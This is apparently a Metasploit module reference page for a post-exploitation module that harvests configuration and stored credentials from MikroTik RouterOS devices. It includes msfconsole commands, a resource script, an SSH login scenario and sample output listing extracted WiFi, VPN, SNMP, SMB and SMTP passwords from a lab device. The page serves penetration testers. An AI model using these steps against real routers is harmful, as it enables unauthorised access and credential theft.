Mikrotik Gather Device General Information - Metasploit


This page contains detailed information about how to use the post/networking/gather/enum_mikrotik metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Mikrotik Gather Device General Information
Module: post/networking/gather/enum_mikrotik
Source code: modules/post/networking/gather/enum_mikrotik.rb
Disclosure date: -
Last modification time: 2021-02-16 13:56:50 +0000
Supported architecture(s): -
Supported platform(s): Mikrotik
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module collects Mikrotik device information and configuration. This module has been tested against RouterOS 6.45.9.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/networking/gather/enum_mikrotik

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/networking/gather/enum_mikrotik
msf post(enum_mikrotik) > show options
    ... show and set options ...
msf post(enum_mikrotik) > set SESSION session-id
msf post(enum_mikrotik) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/networking/gather/enum_mikrotik")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module has been tested on the following hardware/OS combinations.

  • RouterOS 6.45.9 OVA

The image is available from MikroTik here

This module runs the following commands to gather data:

  • /system package print without-paging
  • /export verbose

This module will look for the follow parameters which contain credentials:

  • /interface ovpn-client
  • /interface pppoe-client
  • /interface l2tp-client
  • /interface pptp-client
  • /snmp community
  • /ppp secret
  • /ip smb users
  • /tool e-mail
  • /interface wireless security-profiles

Verification Steps


  1. Start msfconsole
  2. Get a shell
  3. Do: use post/networking/gather/enum_mikrotik
  4. Do: set session [id]
  5. Do: set verbose true
  6. Do: run

Scenarios


RouterOS 6.45.9 OVA Image on ESXi 6.7

resource (mikrotik.rb)> use auxiliary/scanner/ssh/ssh_login
resource (mikrotik.rb)> set username admin
username => admin
resource (mikrotik.rb)> set password password
password => password
resource (mikrotik.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (mikrotik.rb)> run
[+] 1.1.1.1:22 - Success: 'admin:password' 'MikroTik CHR 6.45.9 (long-term)'
[*] Command shell session 1 opened (2.2.2.2:41365 -> 1.1.1.1:22) at 2020-07-18 11:06:32 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (mikrotik.rb)> use post/networking/gather/enum_mikrotik
resource (mikrotik.rb)> set session 1
session => 1
resource (mikrotik.rb)> set verbose true
verbose => true
resource (mikrotik.rb)> run
[*] Getting version information
[+] Flags: X - disabled 
 #   NAME                    VERSION                    SCHEDULED              
 0   routeros-x86            6.45.9                                            
 1   system                  6.45.9                                            
 2 X ipv6                    6.45.9                                            
 3   ups                     6.45.9                                            
 4   wireless                6.45.9                                            
 5   hotspot                 6.45.9                                            
 6   mpls                    6.45.9                                            
 7   routing                 6.45.9                                            
 8   ppp                     6.45.9                                            
 9   dhcp                    6.45.9                                            
10   security                6.45.9                                            
11   advanced-tools          6.45.9                                            
12   dude                    6.45.9                                            


[+] Version information stored in to loot /home/h00die/.msf4/loot/20200718121308_default_1.1.1.1_mikrotik.version_923296.txt
[*] Gathering info from /export verbose
[+] 1.1.1.1:22 OS: RouterOS 6.45.9
[+] 1.1.1.1:22 Wireless AP wpawifi with WPA password presharedkey
[+] 1.1.1.1:22 Wireless AP wpa2wifi with WPA2 password presharedkey
[+] 1.1.1.1:22 Wireless AP wpaeapwifi with WPA2-EAP username username password password
[+] 1.1.1.1:22 Wireless AP wepwifi with WEP password 0123456789 with WEP password 0987654321 with WEP password 1234509876 with WEP password 0192837645
[+] 1.1.1.1:22 Wireless AP wep1wifi with WEP password 1111111111
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out1 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out2 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out3 with username user and password password
[+] 1.1.1.1:22 disabled Open VPN Client to 10.99.99.98 on mac FE:45:B0:31:4A:34 named ovpn-out4 with username user and password password
[+] 1.1.1.1:22  PPPoE Client on ether2 named pppoe-user and service name internet with username user and password password
[+] 1.1.1.1:22  L2TP Client to 10.99.99.99 named l2tp-hm with username l2tp-hm and password 123
[+] 1.1.1.1:22  PPTP Client to 10.99.99.99 named pptp-hm with username pptp-hm and password 123
[+] 1.1.1.1:22 SNMP community write with password write and write access
[+] 1.1.1.1:22 SNMP community v3 with password 0123456789(SHA1), encryption password 9876543210(AES) and write access
[+] 1.1.1.1:22  SMB Username mtuser and password mtpasswd
[+] 1.1.1.1:22 disabled SMB Username disableduser and password disabledpasswd with RO only access
[+] 1.1.1.1:22 disabled PPP tunnel bridging named ppp1 with profile name ppp_bridge and password password
[+] 1.1.1.1:22 SMTP Username smtpuser and password smtppassword for 1.1.1.1:25
[*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the networking/gather/enum_mikrotik post exploitation module looks in the msfconsole:

msf6 > use post/networking/gather/enum_mikrotik

msf6 post(networking/gather/enum_mikrotik) > show info

       Name: Mikrotik Gather Device General Information
     Module: post/networking/gather/enum_mikrotik
   Platform: Mikrotik
       Arch: 
       Rank: Normal

Provided by:
  h00die

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module collects Mikrotik device information and configuration. 
  This module has been tested against RouterOS 6.45.9.

Module Options


This is a complete list of options available in the networking/gather/enum_mikrotik post exploitation module:

msf6 post(networking/gather/enum_mikrotik) > show options

Module options (post/networking/gather/enum_mikrotik):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the networking/gather/enum_mikrotik post exploitation module:

msf6 post(networking/gather/enum_mikrotik) > show advanced

Module advanced options (post/networking/gather/enum_mikrotik):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the networking/gather/enum_mikrotik module can do:

msf6 post(networking/gather/enum_mikrotik) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the networking/gather/enum_mikrotik post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(networking/gather/enum_mikrotik) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • h00die

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.